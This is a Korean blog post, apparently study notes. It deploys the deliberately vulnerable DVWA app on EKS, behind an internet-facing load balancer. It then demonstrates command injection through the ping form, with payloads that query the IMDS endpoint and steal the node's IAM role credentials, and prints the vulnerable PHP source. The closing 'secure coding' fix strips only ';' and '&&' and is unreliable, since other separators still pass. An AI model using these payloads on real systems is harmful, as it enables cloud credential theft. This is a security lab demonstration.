kubectl exec -it eks-pod-identity -- ls /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/
kubectl exec -it eks-pod-identity -- cat /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token

 

파드에서 s3 접근이 잘 된다.

 다시 한번 env를 보면 크레덴셜 토큰 정보와 파드 아이덴티티 데몬셋 정보도 보인다.

 

OWASP Kubernetes

EKS pod가 IMDS API를 악용하는 시나리오 - 링크 Github Youtube 

- mysql 배포

cat <<EOT > mysql.yaml
apiVersion: v1
kind: Secret
metadata:
  name: dvwa-secrets
type: Opaque
data:
  # s3r00tpa55
  ROOT_PASSWORD: czNyMDB0cGE1NQ==
  # dvwa
  DVWA_USERNAME: ZHZ3YQ==
  # p@ssword
  DVWA_PASSWORD: cEBzc3dvcmQ=
  # dvwa
  DVWA_DATABASE: ZHZ3YQ==
---
apiVersion: v1
kind: Service
metadata:
  name: dvwa-mysql-service
spec:
  selector:
    app: dvwa-mysql
    tier: backend
  ports:
    - protocol: TCP
      port: 3306
      targetPort: 3306
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: dvwa-mysql
spec:
  replicas: 1
  selector:
    matchLabels:
      app: dvwa-mysql
      tier: backend
  template:
    metadata:
      labels:
        app: dvwa-mysql
        tier: backend
    spec:
      containers:
        - name: mysql
          image: mariadb:10.1
          resources:
            requests:
              cpu: "0.3"
              memory: 256Mi
            limits:
              cpu: "0.3"
              memory: 256Mi
          ports:
            - containerPort: 3306
          env:
            - name: MYSQL_ROOT_PASSWORD
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: ROOT_PASSWORD
            - name: MYSQL_USER
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_USERNAME
            - name: MYSQL_PASSWORD
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_PASSWORD
            - name: MYSQL_DATABASE
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_DATABASE
EOT
kubectl apply -f mysql.yaml

 

dvwa 배포

cat <<EOT > dvwa.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: dvwa-config
data:
  RECAPTCHA_PRIV_KEY: ""
  RECAPTCHA_PUB_KEY: ""
  SECURITY_LEVEL: "low"
  PHPIDS_ENABLED: "0"
  PHPIDS_VERBOSE: "1"
  PHP_DISPLAY_ERRORS: "1"
---
apiVersion: v1
kind: Service
metadata:
  name: dvwa-web-service
spec:
  selector:
    app: dvwa-web
  type: ClusterIP
  ports:
    - protocol: TCP
      port: 80
      targetPort: 80
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: dvwa-web
spec:
  replicas: 1
  selector:
    matchLabels:
      app: dvwa-web
  template:
    metadata:
      labels:
        app: dvwa-web
    spec:
      containers:
        - name: dvwa
          image: cytopia/dvwa:php-8.1
          ports:
            - containerPort: 80
          resources:
            requests:
              cpu: "0.3"
              memory: 256Mi
            limits:
              cpu: "0.3"
              memory: 256Mi
          env:
            - name: RECAPTCHA_PRIV_KEY
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: RECAPTCHA_PRIV_KEY
            - name: RECAPTCHA_PUB_KEY
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: RECAPTCHA_PUB_KEY
            - name: SECURITY_LEVEL
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: SECURITY_LEVEL
            - name: PHPIDS_ENABLED
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: PHPIDS_ENABLED
            - name: PHPIDS_VERBOSE
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: PHPIDS_VERBOSE
            - name: PHP_DISPLAY_ERRORS
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: PHP_DISPLAY_ERRORS
            - name: MYSQL_HOSTNAME
              value: dvwa-mysql-service
            - name: MYSQL_DATABASE
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_DATABASE
            - name: MYSQL_USERNAME
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_USERNAME
            - name: MYSQL_PASSWORD
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_PASSWORD
EOT
kubectl apply -f dvwa.yaml

 

ingress 배포

cat <<EOT > dvwa-ingress.yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  annotations:
    alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
    alb.ingress.kubernetes.io/group.name: study
    alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
    alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
    alb.ingress.kubernetes.io/scheme: internet-facing
    alb.ingress.kubernetes.io/ssl-redirect: "443"
    alb.ingress.kubernetes.io/success-codes: 200-399
    alb.ingress.kubernetes.io/target-type: ip
  name: ingress-dvwa
spec:
  ingressClassName: alb
  rules:
  - host: dvwa.$MyDomain
    http:
      paths:
      - backend:
          service:
            name: dvwa-web-service
            port:
              number: 80
        path: /
        pathType: Prefix
EOT
kubectl apply -f dvwa-ingress.yaml
echo -e "DVWA Web https://dvwa.$MyDomain"

 

lb가 프로비져닝 되면 접근이 된다.

위 화면에서 아래에 create Database버튼을 누르고 다시 로그인을 한다.(admin / password)

 

아래화면에 정상적으로 ip만 입력할 것이 아니라, 

8.8.8.8 ; echo ; hostname

8.8.8.8 ; echo ; whoami 

이런 명령어를 날리면 명령어가 먹힌다..

 

따라서 아래와 같이 토큰을 발급받을 수가 있다.

# IMDSv2 토큰 복사해두기
8.8.8.8 ; curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"

탈취한 토큰을 이용해 아래처럼 노드인스턴스의 이름을 받는 명령을 입력하고

8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token: AQAEANOYyaee_IqLNeCMZD6gg9VGSYc-0pZk32QuXYEbVz5utp_0hA==" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/

 

위에서 받은 인스턴스 이름가지고 자격증명을 탈취할 수 있다..ㄸ

8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token: AQAEACFn9eezuMlE-T5OHBsuAlOKh31pIq8UGOnRzzFfuhfbRGwSJA==" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-jdNw8Z4BoXDH

 

이러한 이유는 소스가 아래와 같기 때문인데, 

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

 

아래처럼 시큐어코딩을 한다면 방어가 가능해지는 부분이다.

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>
 

 

 

반응형

댓글